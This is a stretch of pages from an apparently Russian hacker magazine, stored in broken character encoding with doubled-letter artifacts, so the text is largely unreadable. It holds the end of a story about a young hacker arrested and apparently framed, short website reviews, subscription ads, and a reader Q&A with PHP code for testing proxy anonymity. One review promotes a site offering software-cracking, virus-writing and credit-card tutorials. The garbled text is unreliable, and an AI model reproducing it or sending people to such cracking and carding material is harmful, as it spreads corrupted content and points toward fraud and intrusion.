Àíäðåé ïåðåîäåâàë äæèíñû äëÿ íàìå÷åííîé ïðîãóëêè, êîãäà óñëûøàë
øóì â êîðèäîðå. Íåçíàêîìûé ìóæñêîé ãîëîñ èíòåðåñîâàëñÿ ó ìàòåðè,
äîìà ëè îí. Groove ïðèòèõ.
� À âû ïî êàêîìó ïîâîäó?
� Âàø ñûí ïîäîçðåâàåòñÿ â ñîâåðøåíèè ìíîæåñòâà êîìïüþòåðíûõ
âçëîìîâ.
Ïî ñïèíå Àíäðåÿ ïðîáåæàë íåïðèÿòíûé õîëîäîê. Îí ïûòàëñÿ ñîîá-
ðàçèòü, ÷òî íåîáõîäèìî ñäåëàòü â ýòîì ñëó÷àå. Ëó÷øåå, ÷òî åìó
óäàëîñü ïðèäóìàòü � çàïóñòèòü íà êîìïüþòåðå ïðîãðàììó äëÿ
áåçâîçâðàòíîãî óäàëåíèÿ äèðåêòîðèé, îòìåòèòü ñâîè òðîôåè è íà-
æàòü «Óäàëèòü». Ïîêà ñòîëáèê íà ýêðàíå âûâîäèë ïðîöåíò óäàëåí-
íûõ ôàéëîâ, Àíäðåé âûòàùèë èç ñòîëà ïàïêó ñ ðàñïå÷àòêàìè ïàðî-
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ëåé è, ðàñêðûâ ôîðòî÷êó, øâûðíóë åå òóäà. Çà ýòèì çàíÿòèåì Àíä-
ðåÿ çàñòàëè Êèðÿêèí è åãî êîëëåãà.
� Ýé, ïàðåíü, íå òàê áûñòðî, � âçÿë åãî ïîä ðóêè ñëåäîâàòåëü.
Ìèøêà òåì âðåìåíåì âûäåðíóë øíóð ïèòàíèÿ êîìïüþòåðà èç ðîçåòêè.
� ß íå ïîíèìàþ, � ñîïðîòèâëÿëñÿ ïàðåíåê.
� Âñå òû ïîíèìàåøü.
Êèðÿêèí ïîñìîòðåë íà ÷àñû, âèñÿùèå íà ñòåíå, è óñìåõíóëñÿ.
� Çàáàâíî, ïðàêòè÷åñêè òî÷íî â ñðîê. Íå îæèäàë� Íîñòðàäàìóñ?
Àíäðåé ñìîòðåë íà íåãî ñîâåðøåííî ðàñòåðÿííî.
� Íó, ãåðîé, ïîåõàëè.
� Êóäà?
� Â îòäåëåíèå. Ìíå äàâíî õîòåëîñü ñ òîáîé ïîîáùàòüñÿ. Ìèøêà, òû îñ-
òàâàéñÿ çäåñü. Ñåé÷àñ Ëèõàíîâ ïðèåäåò ñ îðäåíîì, îôîðìèòå âñå êàê
ïîëîæåíî, ñ ïîíÿòûìè. Âñå, ÷òî îòûùåòå � â ëàáîðàòîðèþ.
� Òàê òî÷íî.

* * *
Íà ñëåäóþùèé äåíü, ðîâíî áåç äåñÿòè 6, Àíå÷êà ñòîÿëà âîçëå êèíîòåàò-
ðà è æäàëà. Îíà áûëà ðàäà, ÷òî Àíäðåé, íàêîíåö, ðåøèëñÿ ïðåäëîæèòü
åé âìåñòå ïîãóëÿòü. Íî íåðâíè÷àëà, òàê êàê íå òàê ÷àñòî õîäèëà ñ ìàëü-
÷èêàìè â êèíîòåàòð èëè åùå êóäà-òî. Âäðóã îíà ñêàæåò ÷òî-òî íå òî, è îí
ïîñ÷èòàåò åå ãëóïîé?
Àíÿ ñòàðàëàñü íå äóìàòü îá ýòîì è íàáëþäàëà çà òîëïîé, âûñìàòðèâàÿ
òàì ñâîåãî êàâàëåðà.
Ïðîøëî 10 ìèíóò, çàòåì 20� Àíäðåé íå ïîêàçûâàëñÿ. Àíÿ íà÷àëà
çëèòüñÿ. Êàê îí òàì ñêàçàë: «Íå îïàçäûâàé»? Êàê íå ñòûäíî çàñòàâëÿòü
äåâóøêó æäàòü? Ê òîìó æå, êîãäà ñàì ïðåäëîæèë âñòðåòèòüñÿ. Â 17:20
îíà îêîí÷àòåëüíî ïîòåðÿëà òåðïåíèå è, ñî çëîñòüþ âçãëÿíóâ íà ñ÷àñòëè-
âóþ ïàðî÷êó, çàõîäÿùóþ â êèíîøêó, îòïðàâèëàñü äîìîé.
� Íå î÷åíü-òî è õîòåëîñü, � ïîäóìàëà îíà.

* * *
Ñóä íàä Àíäðååì Ñóâîðîâûì, èçâåñòíûì â õàêåðñêîì ñîîáùåñòâå êàê
Groovå, ñîñòîÿëñÿ ðîâíî ÷åðåç ïîëãîäà. Íà åãî êîìïüþòåðå íàøëè äîêà-
çàòåëüñòâà ïðè÷àñòíîñòè êî âçëîìó êîìïüþòåðîâ Îâ÷èííèêîâà, Ïîòàïî-
âà è Êèðÿêèíà, à òàêæå ñîòíè äðóãèõ ñèñòåì. Íà åãî æå ìàøèíå õðàíè-
ëèñü äàííûå î âîðîâàííûõ êðåäèòíûõ êàðòî÷êàõ, äîêóìåíòû èç êîìïüþ-

òåðîâ ïðàâèòåëüñòâåííûõ îðãàíèçàöèé è îò÷åò ïî ðàññëåäîâàíèþ äåëà
õàêåðà, èçâåñòíîãî â îòäåëå êàê Íîñòðàäàìóñ. Àíäðåé íà ñóäå ïîë-
íîñòüþ îòðèöàë ñâîþ âèíó, îòêàçàâøèñü ñîòðóäíè÷àòü ñ âëàñòÿìè. Íî,
òàê êàê äîêàçàòåëüñòâà áûëè áîëåå ÷åì óáåäèòåëüíûìè, 19-ëåòíåãî
Groov'à ïðèãîâîðèëè ê òðåì ãîäàì ëèøåíèÿ ñâîáîäû è øòðàôó â ðàçìå-
ðå 100 ìèíèìàëüíûõ çàðïëàò.

[[ýýïïèèëëîîãã]] Àíòîí Êèðÿêèí ñèäåë çà íîâûì ìîùíûì êîìïüþòåðîì, êîòî-
ðûé åìó âûäàëè ïîñëå âñåõ äîñòèæåíèé, è ÷èòàë ïîñëåäíèå íîâîñòè î
êðóïíîì õàêåðñêîì ïîðòàëå. Ïðåññà íåïëîõî ïîñòàðàëàñü, îñâåùàÿ äå-
ëî Groov'à. Çàãîëîâêè: «Õàêåð ïðîòèâ îòäåëà «Ê» ïðîõîäèëè âî ìíîãèõ
öåíòðàëüíûõ ãàçåòàõ. Ôàìèëèÿ Êèðÿêèíà ñòàëà èçâåñòíîé, è åãî äàæå
ïðèãëàñèëè íà íîâóþ ïåðåäà÷ó, ïîëíîñòüþ ïîñâÿùåííóþ êîìïüþòåðíîé
ïðåñòóïíîñòè. Îäíî áûëî ïëîõî� ïîñëå äåëà Íîñòðàäàìóñà, ñòàëî
ñêó÷íî. Íîâûå èíöèäåíòû â îñíîâíîì ïðîõîäèëè âîêðóã áàíàëüíîé êðà-
æè ïàðîëåé äîñòóïà â èíåò è ïðåñòóïëåíèé ñ êðåäèòíûìè êàðòàìè. Êè-
ðÿêèíó õîòåëîñü îðèãèíàëüíîãî äåëà ñ äîñòîéíûì ñîïåðíèêîì.
Çàêîí÷èâ ÷èòàòü íîâîñòè, îí çàêðûë áðàóçåð è îòêèíóëñÿ íà ñïèíêó
êðåñëà. Åìó âñïîìíèëñÿ Êðûì, êóäà îíè ñ Ëàðèñîé åçäèëè ïîñëå ïîèì-
êè Íîñòðàäàìóñà. Ìîðå, ñîëíöå, ãîðû è òèøèíà. Ñëåäîâàòåëü ïîñìîò-
ðåë â îêíî, ãäå äóëà ìåòåëü, è ïîåæèëñÿ.
Âäðóã êîìïüþòåð ïèñêíóë è ñàì ñîáîé ïåðåçàãðóçèëñÿ.
� Ñòàðàÿ ìàøèíêà íå êàïðèçíè÷àëà, � ïîäóìàë Êèðÿêèí.
Îí ìîë÷à æäàë, ïîêà çàãðóçèòñÿ Windows XP è ïîÿâèòñÿ ðàáî÷èé ñòîë.
Íî ïåðâîå, ÷òî óâèäåë ïîñëå çàãðóçêè, áûëè âîâñå íå ðîäíûå ÿðëûêè.
Çàãîðàæèâàÿ âîëïàïåð, íà ýêðàíå âñïëûëî ÿðêîå îêíî ñ òåêñòîì, íàïè-
ñàííûì êðóïíûì øðèôòîì:
«Çäðàâñòâóéòå, Âàäèì Ñåðãååâè÷. Ïðîñòèòå, ÷òî îòðûâàþ âàñ îò âàøèõ
ñëåäîâàòåëüñêèõ äåë, ïðîñòî õîòåë ïåðåäàòü âàì ïðèâåò. Íàäåþñü, âû
íå çàáûëè ìåíÿ è ìîè ñêðîìíûå çàäà÷êè? Æàëü, ÷òî âàì íå óäàëîñü ðå-
øèòü òó, ÷òî áûëà àäðåñîâàíà âàì. Ïîñòðàäàë íåâèíîâíûé ÷åëîâåê�
Êàê ÿ è îáåùàë, âàñ æäåò íàêàçàíèå, è ýòèì íàêàçàíèåì áóäåò âàøà ñî-
âåñòü. Àíäðåé Ñóâîðîâ ñîâñåì íåïëîõîé ÷åëîâåê è ïåðñïåêòèâíûé
ïðîãðàììèñò, æàëü, ÷òî åìó ïðèäåòñÿ ñèäåòü â òþðüìå çà ïîäáðîøåí-
íûå ôàéëû. Âñå ìîãëî ñëîæèòüñÿ ñîâñåì ïî-äðóãîìó. Ïðîùàéòå, Âàäèì
Ñåðãååâè÷. È íå ïûòàéòåñü áîëüøå ìåíÿ íàéòè � ïîñëåäñòâèÿ âû çíà-
åòå. Èñêðåííå âàø, Íîñòðàäàìóñ».
-eof-
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WEBMASTERS
Èâàí Ñêëÿðîâ 

(www.sklyaroff.ru)
Èâàí Êóçíåöîâ aka SeeD 

(seed@nsk.ru)

Òîëüêî íå «êëèê»!
http://dontclick.it 
Áðîäÿ ïî âñåìèðíîé ïàóòèíå, ìû, íå çàäóìûâàÿñü, ñî-
âåðøàåì îãðîìíîå êîëè÷åñòâî íàæàòèé íà ñâîé ìà-
ëåíüêèé õâîñòàòûé äåâàéñ, íàçûâàåìûé ìûøêîé.
Êëèêàíüå ïî ðàçíîîáðàçíûì êíîïêàì, ëèíêàì è ïðî-
÷èì ñðåäñòâàì íàâèãàöèè â óìàõ îáûâàòåëåé ïðåâðà-
òèëîñü âî ÷òî-òî ñàìî ñîáîé ðàçóìåþùååñÿ. Íî ñòîèò
çàäóìàòüñÿ: ÷òî ïðîèçîéäåò, åñëè ìû ïåðåñòàíåì êëè-
êàòü? ß óæå ñëûøó âîçìóùåííûå âîçãëàñû: «Íåò!
Òîëüêî íå ýòî! Áåç êëèêîâ íåâîçìîæíî ïîëíîöåííî
ñåðôèòü Ñåòü!». Ñïîêîéñòâèå, òîëüêî ñïîêîéñòâèå :).
Ðåñóðñ dontclick.it íàãëÿäíî èëëþñòðèðóåò òî, êàê ìîæ-
íî ïåðåäâèãàòüñÿ ïî Ñåòè, íå ñîâåðøàÿ íè îäíîãî
ùåë÷êà ïî ìûøêå, è íå ïðèêàñàÿñü 
ê êëàâèàòóðå. Åñëè æå þçåð ïî ïðè-
âû÷êå íà÷èíàåò êëèêàòü, ïîÿâëÿåòñÿ
îêíî ñ òàéìåðîì äåñÿòèñåêóíäíîãî îá-
ðàòíîãî îòñ÷åòà, ïðåäóïðåæäàþùåå 
î òîì, ÷òî ïðîèçâåäåí íåíóæíûé êëèê.

Www



Âèðòóàëüíàÿ Ìîñêâà
www.vcpserver.ru
Ïåðåä òîáîé ïðîåêò ïîä íàçâàíèåì «Âèðòóàëü-
íàÿ Ìîñêâà». Ýòî ïîëíîöåííûé âèðòóàëüíûé
ãîðîä, ïîëíîñòüþ êîïèðóþùèé ñòîëèöó íàøåé
ñ òîáîé Ðîäèíû. Ðàçðàáîò÷èêè ïðîåêòà ïåðå-
íåñëè â âèðòóàëüíîå ïðîñòðàíñòâî öåëûé ãî-
ðîä. Íà ìîìåíò íàïèñàíèÿ ñòàòüè ïîñòðîéêà
âèðòóàëüíîé ñòîëèöû ïîäõîäèëà ê çàâåðøàþ-
ùåìó ýòàïó. Ïðîñìîòðåâ ñêðèíøîòû è äåìî-âè-
äåî, ÿ óáåäèëñÿ â äåéñòâèòåëüíî îãðîìíûõ
ìàñøòàáàõ ñòðîÿùåãîñÿ ãîðîäà. Ñòåïåíü ïðî-
ðàáîòêè óëèö, ïàðêîâ, ñêâåðîâ è ïëîùàäåé
ïðîñòî ïîðàæàåò ñâîåé ðåàëèñòè÷íîñòüþ. Ïî
âèðòóàëüíîìó ãîðîäó óæå íà÷èíàþò ýêñêóðñèè
ïåðâûå âèðòóàëüíûå æèòåëè, åçäÿò ïåðâûå àâ-
òîìîáèëè è äàæå ðàñïîëàãàåòñÿ ïåðâàÿ âèðòó-
àëüíàÿ ðåêëàìà. Åñëè òû òîæå õî÷åøü ïðîé-
òèñü ïî âèðòóàëüíîé Ìîñêâå è ñòàòü ïåðâîïðî-
õîäöåì, òî ñàéò ïðåäîñòàâëÿåò âñåì æåëàþ-
ùèì ñòàòü áåòà-òåñòåðàìè ïðîåêòà. 

Òðàïåçà ñî çâåçäîé
www.celebrities-eeating.com
Èíòåðíåò ïðîñòî êèøèò ñàéòàìè, îñâåùàþùè-
ìè æèçíü ðàçëè÷íûõ çâåçä. Òóò òåáå è ýðîòè-
÷åñêèå ñàéòû, ïîêàçûâàþùèå çíàìåíèòîñòåé â
ñòèëå íþ, è ôàíàòñêèå ñàéòû, êðè÷àùèå, ÷òî
èìåííî îí � èõ êóìèð, ñàìûé çâåçäàòûé è òàê
äàëåå. Íî ñåé÷àñ ðå÷ü ïîéäåò íåìíîãî î äðó-
ãîì. Ñàéò celebrities-eating.com ïîñâÿùåí âñå
òåì æå çâåçäíûì çíàìåíèòîñòÿì, íî ïîêàçûâà-
åò îí òî, êàê îíè ïðèíèìàþò ïèùó. Íà ñàéòå
ïðîñòî êó÷à ôîòîãðàôèé èçâåñòíûõ ëþäåé,
çàñòèãíóòûõ âðàñïëîõ çà ïîãëîùåíèåì åäû.

Íåêîòîðûå ôîòîãðàôèè äåéñòâèòåëüíî çàíè-
ìàòåëüíûå è ñìåøíûå. Íà ôîðóìå ðåñóðñà
ïîêëîííèêè çâåçä êîììåíòèðóþò òå èëè èíûå
ôîòîãðàôèè è äåëÿòñÿ âïå÷àòëåíèÿìè. Òàê ÷òî
åñëè è òåáå íå÷åì áóäåò çàíÿòüñÿ íà äîñóãå,
ìîæåøü ïîñåòèòü ýòîò ñàéò è íàñëàäèòüñÿ «çà-
íèìàòåëüíûì» êîíòåíòîì. 

Programming Bits
www.azillionmonkeys.com
Äîâîëüíî èíòåðåñíûé ñàéò, ïîñâÿùåííûé ðàçëè÷-
íûì ïðîãðàììåðñêèì òðþêàì, ïðèìî÷êàì, àëãî-
ðèòìàì íà ÿçûêàõ Ñè, Ñ++, Asm è ïðî÷åå. Ñàéò áó-
äåò îäèíàêîâî èíòåðåñåí êàê íà÷èíàþùèì, òàê è
êîí÷àþùèì ïðîãðàììåðàì :). Îòäåëüíî âûäåëå-
íû ðàçäåëû, ïîñâÿùåííûå ñòàðèêó DOS'ó, êîìïè-
ëÿòîðó WATCOM C/C++, îïòèìèçàöèè Pentium, èã-
ðîâûì àëãîðèòìàì, àññåìáëåðó x86 (ñìîòðè êíîï-
êè ñâåðõó íà ñàéòå). Ïðèñóòñòâóåò òàêæå êîìïüþ-
òåðíûé þìîð è êîìïüþòåðíàÿ íîñòàëüãèÿ. Íî ñàéò
ïîëíîñòüþ íà àíãëèéñêîì ÿçûêå.

Ïðîãðàììèðîâàíèå
ìîáèëüíûõ óñòðîéñòâ
www.mobilab.ru 
Õî÷åøü íàó÷èòüñÿ ñîçäàâàòü èãðû äëÿ ìîáèëü-
íûõ òåëåôîíîâ? Ðàçîáðàòüñÿ ñ Wireless
Messaging API (WMA) äëÿ îòïðàâêè è ïîëó÷åíèÿ
SMS? Óçíàòü ïîäðîáíîñòè î âèðóñàõ è òðîÿíàõ
äëÿ ìîáèëüíûõ óñòðîéñòâ? Èçó÷èòü ÿçûêè ïðîã-
ðàììèðîâàíèÿ äëÿ òåëåôîíîâ è ÊÏÊ? Òîãäà èäè
íà ñàéò MobilLab! Ñàéò èìååò òðè îñíîâíûõ íàï-
ðàâëåíèÿ: Java, Basic è ïðîãðàììèðîâàíèå äëÿ
Symbian ÎÑ. Â ðàçäåëå «Ñîôò» ìîæíî ñêà÷àòü
ïîëåçíûå ïðîãðàììû, â òîì ÷èñëå äëÿ ìîáèëü-
íûõ òåëåôîíîâ è ÊÏÊ. Íó è êîíå÷íî, ôîðóì
æäåò î÷åðåäíîãî «ìîáèëüíîãî» ïðîãðàììèñòà.

Äóõ õàêèíãà 
è êðýêèíãà
www.hnc3k.com 
Åñëè òû õî÷åøü, ÷òîáû â òåáÿ âñåëèëñÿ «äóõ»
õàêèíãà è êðýêèíãà, òî òåáå íóæíî ïîñåòèòü

ýòîò ñàéò. Îòáîðíûå òóòîðèàëû íà àíãëèéñêîì
ðàññêàæóò òåáå, êàê ëîìàòü ñîôò è ñîçäàâàòü
êåéãåíû, êàê õàêàòü ñåòè aol, msn, hotmail, irc è
ïðî÷åå. Óçíàåøü, êàê ñîçäàòü ñâîþ âèðóñíóþ
ïðîãðàììó, âñå î êðåäèòíûõ êàðòàõ, òóòîðèàëû
ïî ðàáîòå ñ ðàçëè÷íûìè õàêåðñêèìè òóëçàìè è
îïèñàíèÿ èçâåñòíûõ äûð ñ ïðèìåðàìè ýêñïëîé-
òîâ. Çäåñü æå ìîæíî ñêà÷àòü ðàçëè÷íûå ôðè-
êåðñêèå óòèëèòû è åùå ìíîãî âñåãî. Êàê ãîâî-
ðèòñÿ, íå ïðîõîäè ìèìî!

Êîìïüþòåðíàÿ 
èñòîðèÿ â ëèöàõ
www.infhist.h1.ru 
Ñ êàêîãî ïåðèîäà ñëåäóåò îòñ÷èòûâàòü êîìïü-
þòåðíóþ èñòîðèþ? Ñ ïåðâîé ÝÂÌ? Èëè, ìîæåò,
ñ ìåõàíè÷åñêîãî àðèôìîìåòðà? Èëè ñ àáàêà?
À ìîæåò, ñ èçîáðåòåíèÿ ñèñòåìû ñ÷èñëåíèÿ?
Ìíîãèå ñîòíè âûäàþùèõñÿ ëþäåé âíåñëè ñâîé
âêëàä â ðàçâèòèå êîìïüþòåðíîãî ìèðà. Àâòîð
äàííîãî ïðîåêòà ðåøèë ñîáðàòü èõ âñåõ â îäíó
áîëüøóþ ýëåêòðîííóþ ýíöèêëîïåäèþ. Â íåé òû
íàéäåøü èíôîðìàöèþ î Áèëëå Ãåéòñå è Ïîëå
Àëëàíå, î Ëèíóñå Òîðâàëüäñå è èçîáðåòàòåëå
ÿçûêà Ñè � Äýííèñå Ðèò÷è, î Áëåçå Ïàñêàëå è
×àðëüçå Ïèðñå è ìíîãèõ äðóãèõ. Âîñïîëüçóéñÿ
ïîèñêîì èëè àëôàâèòíûì ñïèñêîì.

Ïðîãðàììèðîâàíèå
íà ÿçûêå Gentee
www.gentee.ru 
Gentee � ýòî áåñïëàòíûé ÿçûê ïðîãðàììèðî-
âàíèÿ, ñâîèì ñèíòàêñèñîì ïîõîæèé íà Ñ/Ñ++.
Åãî ìîæíî èñïîëüçîâàòü äëÿ àâòîìàòèçàöèè
ðàçëè÷íûõ îïåðàöèé è âíåäðÿòü â ïðîãðàììû
íà äðóãèõ ÿçûêàõ. Äëÿ êîìïèëÿöèè è âûïîëíå-
íèÿ Gentee-ïðîãðàìì íåîáõîäèìà DLL-áèáëèî-
òåêà, êîòîðàÿ çàíèìàåò ïðèìåðíî 100 Êá. Íà
ñàéòå ìîæíî ïîñìîòðåòü ïðèìåðû èñïîëüçîâà-
íèÿ ýòîãî ÿçûêà, à òàêæå ïîëó÷èòü ïîäðîáíóþ
èíôîðìàöèþ ïî åãî ñèíòàêñèñó. Òàì æå ìîæíî
ñêà÷àòü ñàì ÿçûê è ïîîáùàòüñÿ íà ôîðóìå ñ
ðàçðàáîò÷èêàìè è ïîëüçîâàòåëÿìè
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Êàê îôîðìèòü çàêàç?
1 Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2 Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3 Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè 

ñ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì èèç ïïåðå÷èñëåííûõ ññïîñîáîâ: 
ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 780.88.24;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, 
ñòðîåíèå 2, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.
êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.

ÐÅÊÎÌÅÍÄÓÅÌ ÈÑÏÎËÜÇÎÂÀÒÜ ÝËÅÊÒÐÎÍÍÓÞ ÏÎ×ÒÓ ÈËÈ ÔÀÊÑ.

Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. 
Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.
ÏÎ ÂÂÑÅÌ ÂÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ ÑÑ ÏÏÎÄÏÈÑÊÎÉ, ÇÇÂÎÍÈÒÅ ÏÏÎ ÁÁÅÑÏËÀÒÍÛÌ ÒÒÅËÅÔÎÍÀÌ:
935-770-334 (ÄËß ÌÎÑÊÂÈ×ÅÉ) È 8-8800-2200-33-9999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÂÑÅ ÂÂÎÏÐÎÑÛ ÏÏÎ ÏÏÎÄÏÈÑÊÅ ÌÌÎÆÍÎ ÏÏÐÈÑÛËÀÒÜ ÍÍÀ ÀÀÄÐÅÑ: IINFO@GLC.RU

Ïîäïèñêà 
äëÿ þðèäè÷åñêèõ ëèö

Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 
òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñ-
êè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì
æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñ-
êèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷-
òîâûì àäðåñîì, òåëåôîíîì è ôàìèëè-
åé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

«Õàêåð»+2 CD
115ð ÇÀ ÍÎÌÅÐ

(ýêîíîìèÿ 30ðóá.*)

690ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 180 ðóá.*)

1242ð ÇÀ 12 ÌÅÑßÖÅÂ
(ýêîíîìèÿ 460ðóá.*)

«Õàêåð»+DVD
130ð ÇÀ ÍÎÌÅÐ

(ýêîíîìèÿ 30ðóá.*)

780ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 180 ðóá.*)

1404ð ÇÀ 12 ÌÅÑßÖÅÂ
(ýêîíîìèÿ 516 ðóá.*) 

«Õàêåð»+«Õàêåð »
207ð ÇÀ ÍÎÌÅÐ 

(ýêîíîìèÿ 85ðóá.*)

1242ð ÇÀ 6 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 510 ðóá.*)

2236ð ÇÀ 12 ÌÅÑßÖÅÂ 
(ýêîíîìèÿ 1250 ðóá.*)

Cïåö »
ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ

ÇÀÀÊÊÀÀÆÆÈ 

ÆÆÓÐÐÍÀÀËË 

ÂÂ ÐÐÅÄÀÀÊÊÖÖÈÈ 

È ÑÑÝÝÊÊÎÎÍÎÎÌÌÜÜ 

ÄÅÍÜÜÃÃÈ!!!!!!



ÏÏÎÎÄÄÏÏÈÈÑÑÍÍÎÎÉÉ ÊÊÓÓÏÏÎÎÍÍ
Ïðîøó îîôîðìèòü ïïîäïèñêó:



QQ:: ÊÊààêêèèìì îîááððààççîîìì ííàà PPHHPP ììîîææííîî ïïððîîââååððèèòòüü ïïððîîêêññèè ííàà ààííîî-
ííèèììííîîññòòüü??
A: Âñïîìíè, êàê áû òû ïðîâåðÿë ïðîêñè âðó÷íóþ: ñíà÷àëà óñ-
òàíîâèë åå â íàñòðîéêàõ áðàóçåðà, çàòåì çàøåë áû íà ñàéò
(íàïðèìåð, www.all-nettools.com), êîòîðûé ìîæåò îïðåäåëèòü
èñïîëüçîâàíèå ïðîêñè, à çàîäíî è òâîé òåêóùèé IP. Äàëüøå
ïðîñòî: åñëè íà ñàéòå çàñâåòèëñÿ òâîé íàñòîÿùèé IP, çíà÷èò,
ïðîêñè � ôèãíÿ; åñëè íå çàñâåòèëñÿ � åé ìîæíî äîâåðÿòü.
Ñêðèïò äëÿ ïðîâåðêè ïðîêñè ñ ïîìîùüþ PHP ìîæíî íàïè-
ñàòü ïî ýòîìó æå ñàìîìó àëãîðèòìó. Â ðåàëèçàöèè çíà÷è-
òåëüíî îáëåã÷èò çàäà÷ó PHP-êëàññ Snoopy, êîòîðûé óìååò
ýìóëèðîâàòü ðàáîòó îáû÷íîãî âåá-áðàóçåðà. Èòàê, ïðîâåðêó
ìîæíî ðåàëèçîâàòü ïðèìåðíî ñëåäóþùèì îáðàçîì:

// ïîäêëþ÷àåì êëàññ
include('./net.class.php');
// ñîçäàåì ýêçåìïëÿð êëàññà Snoopy
$net = new Snoopy;
// ïîäêëþ÷àåì ïðîêñè è èíèöèèðóåì ïîäêëþ÷åíèå
$net->agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows
98)';
$net->proxy_host='127.0.0.1';
$net->proxy_port='3128';
$net->read_timeout=30;
// çàïðàøèâàåì ñòðàíèöó, êîòîðàÿ îòîáðàæàåò ñïèñîê ïå-
ðåìåííûõ îêðóæåíèÿ
$net->fetch("http://home.xnet.com/~efflandt/test-env.cgi");
$res=$net->results;

Òåïåðü îáúåêò ñêàëÿðíîãî òèïà $res õðàíèò ñòðàíèöó, ñî-
äåðæàùóþ çíà÷åíèÿ òâîèõ ïåðåìåííûõ îêðóæåíèÿ. Äëÿ íàñ,
êàê èçâåñòíî, êðèòè÷íû ïåðåìåííûå HTTP_VIA, HTTP_X_FOR-
WARDED_FOR. Òåáå îñòàåòñÿ òîëüêî ïðîàíàëèçèðîâàòü èõ:
åñëè îíè ñîäåðæàò èñêëþ÷èòåëüíî àäðåñ ñåðâåðà, ñ êîòîðî-
ãî áûë çàïóùåí ñêðèïò, ìîæíî ñ÷èòàòü ïðîêñè àíîíèìíîé.

QQ:: ÏÏîîììîîããèèòòåå ññîîââååòòîîìì.. ßß ççààííèèììààþþññüü ððààççððààááîîòòêêîîéé îîääííîîããîî èèíí-
òòååððååññííîîããîî ïïððîîååêêòòàà.. ÂÂîîòò óóææåå ããîîää ïïððîîååêêòò ííààááèèððààååòò ïïîîïïóóëëÿÿðð-
ííîîññòòüü,, ïïððèè÷÷ååìì òòààêê,, ÷÷òòîî ââèèððòòóóààëëüüííûûéé õõîîññòòèèííãã ííåå ññïïððààââëëÿÿååòòññÿÿ
ññ ííààããððóóççêêîîéé.. ÂÂûûõõîîää îîääèèíí:: ïïððèèîîááððååññòòèè ññââîîéé ññîîááññòòââååííííûûéé ââûû-
ääååëëååííííûûéé ññååððââååðð.. ÒÒààêê ââîîòò,, êêààêêóóþþ êêîîííôôèèããóóððààööèèþþ ññååððââååððàà
ææååëëààòòååëëüüííîî ïïððèèîîááððååññòòèè,, ååññëëèè ííàà ññààééòò ååææååääííååââííîî ïïððèèõõîîääèèòò
330000000000 õõèèòòîîââ?? ÐÐààááîîòòààååòò êêîîííòòååííòò-ññèèññòòååììàà ((CCMMSS)) èè 22 ôôîîððóó-
ììàà,, êêîîòòîîððûûåå ííààïïèèññààííûû ííàà PPHHPP èè èèññïïîîëëüüççóóþþòò MMyySSQQLL.. ÏÏððèè
ýýòòîîìì ááîîëëüüøøààÿÿ ÷÷ààññòòüü òòððààôôèèêêàà �� òòååêêññòò,, àà ôôààééëëîîââ ïïååððååääààååòò-
ññÿÿ ññîîââññååìì ììààëëîî..
A: Î÷åíü ñëîæíî îòâåòèòü íà ýòîò âîïðîñ çàî÷íî, íå ïîãëÿ-
äåâ íà âíóòðåííîñòè èñïîëüçóåìûõ ñêðèïòîâ. Ïî ñâîåìó
îïûòó ñêàæó, ÷òî íàèáîëüøàÿ ÷àñòü íàãðóçêè áåññïîðíî ëå-
æèò íà ôîðóìàõ è MySQL. Ñ êîíôèãóðàöèåé ìîæíî ïîýêñ-
ïåðèìåíòèðîâàòü, âûïðîñèâ ó õîñòåðîâ òåñòîâûå ïåðèîäû.
Íî ÿ áû íà òâîåì ìåñòå ñðàçó áðàë áåñïðîèãðûøíûé âàðè-
àíò. Íàïðèìåð, ñåðâåð ñ äâóìÿ Xeon'àìè, íå ìåíüøå ÷åì ãè-
ãàáàéòîì îïåðàòèâêè è, åñòåñòâåííî, SCSI-âèíòàìè. Â ýòîì
ñëó÷àå ìîæíî ãàðàíòèðîâàòü, ÷òî ñåðâåð íå çàãíåòñÿ â ÷àñ
ïèê. Òåì áîëåå òû ñàì ñêàçàë, ÷òî ïîñåùàåìîñòü ðàñòåò,
